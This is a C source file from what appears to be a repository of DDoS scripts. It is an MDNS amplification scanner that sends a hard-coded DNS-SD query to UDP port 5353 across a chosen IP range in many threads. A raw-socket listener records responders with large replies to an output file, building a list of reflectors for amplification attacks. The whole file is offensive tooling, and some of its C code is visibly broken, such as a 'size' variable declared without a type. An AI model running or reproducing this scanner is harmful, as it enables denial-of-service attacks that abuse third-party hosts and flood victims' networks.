Path: blob/master/DDOS Scripts/AMP Methods/MDNS Amplification/mdns_scanner.c
4630 views
/* MDNS Amplification scanner, made by -Shroom-, credits to whoever made this scanner source because I have no idea. */1#include <pthread.h>2#include <unistd.h>3#include <stdio.h>4#include <stdlib.h>5#include <string.h>6#include <sys/socket.h>7#include <netinet/in.h>8#include <signal.h>9#include <sys/time.h>10#include <sys/types.h>11#include <math.h>12#include <ctype.h>13#include <errno.h>14#include <arpa/inet.h>15#include <netinet/ip.h>16#include <netinet/udp.h>1718volatile int running_threads = 0;19volatile int found_srvs = 0;20volatile unsigned long per_thread = 0;21volatile unsigned long start = 0;22volatile unsigned long scanned = 0;23volatile int sleep_between = 0;24volatile int bytes_sent = 0;25volatile unsigned long hosts_done = 0;26FILE *fd;27char payload[] =28"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01";2930size = sizeof(payload);3132void *flood(void *par1)33{34running_threads++;35int thread_id = (int)par1;36unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));37unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));38unsigned long w;39int y;40unsigned char buf[65536];41memset(buf, 0x01, 46);42int sizeofpayload = 46;43int sock;44if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {45perror("cant open socket");46exit(-1);47}48for(w=ntohl(start_ip);w<htonl(end);w++)49{50struct sockaddr_in servaddr;51bzero(&servaddr, sizeof(servaddr));52servaddr.sin_family = AF_INET;53servaddr.sin_addr.s_addr=htonl(w);54servaddr.sin_port=htons(5353);55sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));56bytes_sent+=size;57scanned++;58hosts_done++;59}60close(sock);61running_threads--;62return;63}6465void sighandler(int sig)66{67fclose(fd);68printf("\n");69exit(0);70}7172void *recievethread()73{74printf("\n");75int saddr_size, data_size, sock_raw;76struct sockaddr_in saddr;77struct in_addr in;7879unsigned char *buffer = (unsigned char *)malloc(65536);80sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);81if(sock_raw < 0)82{83printf("Socket Error\n");84exit(1);85}86while(1)87{88saddr_size = sizeof saddr;89data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);90if(data_size <0 )91{92printf("Recvfrom error , failed to get packets\n");93exit(1);94}95struct iphdr *iph = (struct iphdr*)buffer;96if(iph->protocol == 17)97{98unsigned short iphdrlen = iph->ihl*4;99struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);100unsigned char* payload = buffer + iphdrlen + 46;101if(ntohs(udph->source) == 5353)102{103int body_length = data_size - iphdrlen - 46;104105if (body_length > 40)106107{108found_srvs++;109110fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);111fflush(fd);112113}114115}116}117118}119close(sock_raw);120121}122123int main(int argc, char *argv[ ])124{125126if(argc < 6){127fprintf(stderr, "Invalid parameters!\n");128fprintf(stdout, "Shrooms MDNS Scanner\nUsage: %s <ip range start (192.0.0.0)> <ip range end (198.255.255.255)> <outfile> <threads> <scan delay in ms>\n", argv[0]);129exit(-1);130}131fd = fopen(argv[3], "a");132sleep_between = atoi(argv[5]);133134signal(SIGINT, &sighandler);135136int threads = atoi(argv[4]);137pthread_t thread;138139pthread_t listenthread;140pthread_create( &listenthread, NULL, &recievethread, NULL);141142char *str_start = malloc(18);143memset(str_start, 0, 18);144str_start = argv[1];145char *str_end = malloc(18);146memset(str_end, 0, 18);147str_end = argv[2];148start = inet_addr(str_start);149per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;150unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));151int i;152for(i = 0;i<threads;i++){153pthread_create( &thread, NULL, &flood, (void *) i);154}155sleep(1);156printf("Scan in Progress \n");157char *temp = (char *)malloc(17);158memset(temp, 0, 17);159sprintf(temp, "MDNS Found");160printf("%-16s", temp);161memset(temp, 0, 17);162sprintf(temp, "IP/s");163printf("%-16s", temp);164memset(temp, 0, 17);165sprintf(temp, "Bytes/s");166printf("%-16s", temp);167memset(temp, 0, 17);168sprintf(temp, "Threads");169printf("%-16s", temp);170memset(temp, 0, 17);171sprintf(temp, "Percent Done");172printf("%s", temp);173printf("\n");174175char *new;176new = (char *)malloc(16*6);177while (running_threads > 0)178{179printf("\r");180memset(new, '\0', 16*6);181sprintf(new, "%s|%-15lu", new, found_srvs);182sprintf(new, "%s|%-15d", new, scanned);183sprintf(new, "%s|%-15d", new, bytes_sent);184sprintf(new, "%s|%-15d", new, running_threads);185memset(temp, 0, 17);186int percent_done=((double)(hosts_done)/(double)(toscan))*100;187sprintf(temp, "%d%%", percent_done);188sprintf(new, "%s|%s", new, temp);189printf("%s", new);190fflush(stdout);191bytes_sent=0;192scanned = 0;193sleep(1);194}195printf("\n");196fclose(fd);197return 0;198}199200